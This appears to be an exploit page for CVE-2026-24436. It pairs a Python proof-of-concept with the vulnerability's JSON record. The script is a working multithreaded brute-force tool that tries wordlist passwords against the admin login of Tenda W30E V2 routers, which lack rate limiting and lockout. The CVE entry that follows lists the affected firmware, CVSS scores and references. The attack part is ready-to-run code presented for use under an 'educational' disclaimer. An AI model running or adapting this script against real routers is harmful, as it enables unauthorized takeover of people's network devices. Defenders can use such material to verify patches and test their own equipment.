CVE-2026-24436

#!/usr/bin/env python3 """ CVE-2026-24436 PoC - Tenda W30E V2 Brute Force Attack Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_IP = "192.168.0.1" # Default Tenda router IP LOGIN_URL = f"http://{TARGET_IP}/login" USERNAME = "admin" def try_login(password): """Attempt login with given password""" try: data = { "username": USERNAME, "password": password } response = requests.post(LOGIN_URL, data=data, timeout=5) # Check for successful login indicators if response.status_code == 200: if "success" in response.text.lower() or "token" in response.cookies: return True, password return False, None except requests.RequestException: return False, None def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <password_list_file>") print(f"Example: python3 {sys.argv[0]} passwords.txt") sys.exit(1) password_file = sys.argv[1] try: with open(password_file, 'r') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"Error: File '{password_file}' not found") sys.exit(1) print(f"[*] Starting brute force attack on {TARGET_IP}") print(f"[*] Target username: {USERNAME}") print(f"[*] Loaded {len(passwords)} passwords") with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password = future.result() if success: print(f"\n[!] VALID CREDENTIALS FOUND: {USERNAME}:{password}") executor.shutdown(wait=False) sys.exit(0) else: print(".", end="", flush=True) print(f"\n[-] No valid credentials found") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-24436", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:41.167", "lastModified": "2026-01-28T19:57:17.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) do not enforce rate limiting or account lockout mechanisms on authentication endpoints. This allows attackers to perform unrestricted brute-force attempts against administrative credentials."}, {"lang": "es", "value": "Las versiones de firmware de Shenzhen Tenda W30E V2 hasta e incluyendo V16.01.0.19(5037) no imponen mecanismos de limitación de tasa o de bloqueo de cuenta en los puntos finales de autenticación. Esto permite a los atacantes realizar intentos de fuerza bruta sin restricciones contra las credenciales administrativas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:w30e_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "16.01.0.19\\(5037\\)", "matchCriteriaId": "4DB07B19-71FC-4936-98BD-36A8B3B7CBF0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:w30e:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "56B9C2BB-D36E-40F8-83FF-FC919337F6BD"}]}]}], "references": [{"url": "https://www.tendacn.com/product/W30E", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/tenda-w30e-v2-lacks-rate-limiting-on-authentication", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}